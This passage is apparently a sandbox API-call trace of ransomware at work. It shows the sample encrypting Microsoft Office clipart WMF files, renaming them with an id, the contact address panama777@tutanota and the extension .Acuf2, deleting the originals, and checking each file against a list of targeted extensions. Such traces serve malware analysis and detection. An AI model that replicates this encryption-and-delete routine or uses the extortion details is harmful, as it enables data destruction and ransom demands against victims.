	[0268.304] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.304] SetEndOfFile (hFile=0x364) returned 1
	[0268.306] CloseHandle (hObject=0x364) returned 1
	[0268.306] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.307] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf")) returned 1
	[0268.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63
	[0268.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63
	[0268.307] lstrlenW (lpString=".doc") returned 4
	[0268.307] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.307] lstrlenW (lpString=".docx") returned 5
	[0268.307] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0268.307] lstrlenW (lpString=".pdf") returned 4
	[0268.307] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.307] lstrlenW (lpString=".xls") returned 4
	[0268.307] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.307] lstrlenW (lpString=".xlsx") returned 5
	[0268.307] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0268.307] lstrlenW (lpString=".ppt") returned 4
	[0268.307] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63
	[0268.307] lstrlenW (lpString=".zip") returned 4
	[0268.307] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.307] lstrlenW (lpString=".rar") returned 4
	[0268.307] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.307] lstrlenW (lpString=".bz2") returned 4
	[0268.307] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.307] lstrlenW (lpString=".7z") returned 3
	[0268.308] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63
	[0268.308] lstrlenW (lpString=".dbf") returned 4
	[0268.308] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63
	[0268.308] lstrlenW (lpString=".1cd") returned 4
	[0268.308] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63
	[0268.308] lstrlenW (lpString=".jpg") returned 4
	[0268.308] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.308] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=1848) returned 1
	[0268.308] CloseHandle (hObject=0x364) returned 1
	[0268.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf")) returned 0x20
	[0268.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0268.309] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.309] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0268.309] GetLastError () returned 0x0
	[0268.309] ReadFile (in: hFile=0x364, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x738, lpOverlapped=0x0) returned 1
	[0268.311] WriteFile (in: hFile=0x36c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x740, lpOverlapped=0x0) returned 1
	[0268.311] ReadFile (in: hFile=0x364, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.311] WriteFile (in: hFile=0x36c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.312] SetEndOfFile (hFile=0x36c) returned 1
	[0268.312] CloseHandle (hObject=0x36c) returned 1
	[0268.312] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.312] SetEndOfFile (hFile=0x364) returned 1
	[0268.313] CloseHandle (hObject=0x364) returned 1
	[0268.314] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.314] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf")) returned 1
	[0268.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63
	[0268.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63
	[0268.314] lstrlenW (lpString=".doc") returned 4
	[0268.314] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.314] lstrlenW (lpString=".docx") returned 5
	[0268.314] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0268.314] lstrlenW (lpString=".pdf") returned 4
	[0268.314] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.314] lstrlenW (lpString=".xls") returned 4
	[0268.314] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.314] lstrlenW (lpString=".xlsx") returned 5
	[0268.314] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0268.314] lstrlenW (lpString=".ppt") returned 4
	[0268.314] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63
	[0268.314] lstrlenW (lpString=".zip") returned 4
	[0268.314] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.314] lstrlenW (lpString=".rar") returned 4
	[0268.314] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.315] lstrlenW (lpString=".bz2") returned 4
	[0268.315] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.315] lstrlenW (lpString=".7z") returned 3
	[0268.315] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63
	[0268.315] lstrlenW (lpString=".dbf") returned 4
	[0268.315] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63
	[0268.315] lstrlenW (lpString=".1cd") returned 4
	[0268.315] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63
	[0268.315] lstrlenW (lpString=".jpg") returned 4
	[0268.315] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.315] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=11190) returned 1
	[0268.315] CloseHandle (hObject=0x364) returned 1
	[0268.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf")) returned 0x20
	[0268.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0268.316] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.316] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0268.316] GetLastError () returned 0x0
	[0268.316] ReadFile (in: hFile=0x364, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x2bb6, lpOverlapped=0x0) returned 1
	[0268.318] WriteFile (in: hFile=0x36c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x2bc0, lpOverlapped=0x0) returned 1
	[0268.319] ReadFile (in: hFile=0x364, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.319] WriteFile (in: hFile=0x36c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.319] SetEndOfFile (hFile=0x36c) returned 1
	[0268.319] CloseHandle (hObject=0x36c) returned 1
	[0268.319] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.319] SetEndOfFile (hFile=0x364) returned 1
	[0268.328] CloseHandle (hObject=0x364) returned 1
	[0268.328] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.329] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf")) returned 1
	[0268.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63
	[0268.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63
	[0268.329] lstrlenW (lpString=".doc") returned 4
	[0268.329] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.329] lstrlenW (lpString=".docx") returned 5
	[0268.329] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0268.329] lstrlenW (lpString=".pdf") returned 4
	[0268.329] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.329] lstrlenW (lpString=".xls") returned 4
	[0268.329] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.329] lstrlenW (lpString=".xlsx") returned 5
	[0268.329] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0268.329] lstrlenW (lpString=".ppt") returned 4
	[0268.329] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63
	[0268.329] lstrlenW (lpString=".zip") returned 4
	[0268.329] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.329] lstrlenW (lpString=".rar") returned 4
	[0268.329] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.329] lstrlenW (lpString=".bz2") returned 4
	[0268.329] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.329] lstrlenW (lpString=".7z") returned 3
	[0268.330] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63
	[0268.330] lstrlenW (lpString=".dbf") returned 4
	[0268.330] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63
	[0268.330] lstrlenW (lpString=".1cd") returned 4
	[0268.330] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63
	[0268.330] lstrlenW (lpString=".jpg") returned 4
	[0268.330] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.331] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=1892) returned 1
	[0268.331] CloseHandle (hObject=0x364) returned 1
	[0268.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf")) returned 0x20
	[0268.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0268.331] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.331] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0268.332] GetLastError () returned 0x0
	[0268.332] ReadFile (in: hFile=0x364, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x764, lpOverlapped=0x0) returned 1
	[0268.536] WriteFile (in: hFile=0x36c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x770, lpOverlapped=0x0) returned 1
	[0268.536] ReadFile (in: hFile=0x364, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.536] WriteFile (in: hFile=0x36c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.537] SetEndOfFile (hFile=0x36c) returned 1
	[0268.537] CloseHandle (hObject=0x36c) returned 1
	[0268.537] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.537] SetEndOfFile (hFile=0x364) returned 1
	[0268.539] CloseHandle (hObject=0x364) returned 1
	[0268.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.539] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf")) returned 1
	[0268.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63
	[0268.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63
	[0268.540] lstrlenW (lpString=".doc") returned 4
	[0268.540] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.540] lstrlenW (lpString=".docx") returned 5
	[0268.540] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0268.540] lstrlenW (lpString=".pdf") returned 4
	[0268.540] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.540] lstrlenW (lpString=".xls") returned 4
	[0268.540] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.540] lstrlenW (lpString=".xlsx") returned 5
	[0268.540] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0268.540] lstrlenW (lpString=".ppt") returned 4
	[0268.540] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63
	[0268.540] lstrlenW (lpString=".zip") returned 4
	[0268.540] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.540] lstrlenW (lpString=".rar") returned 4
	[0268.540] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.540] lstrlenW (lpString=".bz2") returned 4
	[0268.540] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.540] lstrlenW (lpString=".7z") returned 3
	[0268.541] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63
	[0268.541] lstrlenW (lpString=".dbf") returned 4
	[0268.541] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63
	[0268.541] lstrlenW (lpString=".1cd") returned 4
	[0268.541] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63
	[0268.541] lstrlenW (lpString=".jpg") returned 4
	[0268.541] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.541] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=33434) returned 1
	[0268.541] CloseHandle (hObject=0x364) returned 1
	[0268.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf")) returned 0x20
	[0268.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0268.542] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.542] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0268.542] GetLastError () returned 0x0
	[0268.542] ReadFile (in: hFile=0x364, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x829a, lpOverlapped=0x0) returned 1
	[0268.544] WriteFile (in: hFile=0x36c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x82a0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x82a0, lpOverlapped=0x0) returned 1
	[0268.545] ReadFile (in: hFile=0x364, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.545] WriteFile (in: hFile=0x36c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.545] SetEndOfFile (hFile=0x36c) returned 1
	[0268.545] CloseHandle (hObject=0x36c) returned 1
	[0268.545] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.545] SetEndOfFile (hFile=0x364) returned 1
	[0268.548] CloseHandle (hObject=0x364) returned 1
	[0268.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.548] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf")) returned 1
	[0268.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63
	[0268.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63
	[0268.549] lstrlenW (lpString=".doc") returned 4
	[0268.549] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.549] lstrlenW (lpString=".docx") returned 5
	[0268.549] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0268.549] lstrlenW (lpString=".pdf") returned 4
	[0268.549] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.549] lstrlenW (lpString=".xls") returned 4
	[0268.549] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.549] lstrlenW (lpString=".xlsx") returned 5
	[0268.549] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0268.549] lstrlenW (lpString=".ppt") returned 4
	[0268.549] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63
	[0268.549] lstrlenW (lpString=".zip") returned 4
	[0268.549] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.549] lstrlenW (lpString=".rar") returned 4
	[0268.549] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.549] lstrlenW (lpString=".bz2") returned 4
	[0268.549] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.549] lstrlenW (lpString=".7z") returned 3
	[0268.549] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63
	[0268.549] lstrlenW (lpString=".dbf") returned 4
	[0268.549] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63
	[0268.549] lstrlenW (lpString=".1cd") returned 4
